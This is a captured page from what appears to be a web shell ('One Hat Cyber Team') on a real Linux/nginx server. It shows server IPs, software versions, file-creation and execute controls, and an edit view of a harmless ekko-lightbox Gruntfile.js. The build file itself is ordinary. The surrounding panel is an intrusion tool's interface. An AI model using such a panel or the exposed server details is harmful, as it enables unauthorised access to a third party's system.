⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
node_modules
/
ekko-lightbox
/
Edit File: Gruntfile.js
module.exports = function (grunt) { "use strict"; grunt.initConfig({ banner: '/*!\n' + ' * Lightbox for Bootstrap by @ashleydw\n' + ' * https://github.com/ashleydw/lightbox\n' + ' *\n' + ' * License: https://github.com/ashleydw/lightbox/blob/master/LICENSE\n' + ' */', less: { dist: { files: { 'dist/ekko-lightbox.css': 'ekko-lightbox.less' } } }, babel: { options: { sourceMap: true, modules: 'ignore' }, dist: { files: { 'dist/ekko-lightbox.js': 'ekko-lightbox.js', } } }, uglify: { options: { sourceMap: true, }, js: { files: { 'dist/ekko-lightbox.min.js': 'dist/ekko-lightbox.js' } } }, postcss: { options: { map: true, processors: [ require('autoprefixer')({ browsers: ['last 2 versions'] }), require('cssnano')() ] }, dist: { src: 'dist/*.css' } }, stamp: { options: { banner: '<%= banner %>\n+function ($) {\n', footer: '\n}(jQuery);' }, lightbox: { files: { src: ['dist/ekko-lightbox.js', 'dist/ekko-lightbox.min.js'] } } }, watch: { babel: { files: ['ekko-lightbox.js', 'ekko-lightbox.less'], tasks: ['dev'] } } }); grunt.loadNpmTasks('grunt-stamp'); grunt.loadNpmTasks('grunt-babel'); grunt.loadNpmTasks('grunt-contrib-uglify'); grunt.loadNpmTasks('grunt-contrib-cssmin'); grunt.loadNpmTasks('grunt-contrib-watch'); grunt.loadNpmTasks('grunt-contrib-less'); grunt.loadNpmTasks('grunt-postcss'); grunt.registerTask('dev', ['babel', 'less']); grunt.registerTask('dist', ['babel', 'less', 'stamp', 'postcss:dist', 'uglify']); grunt.registerTask('default', ['dist']); };
Simpan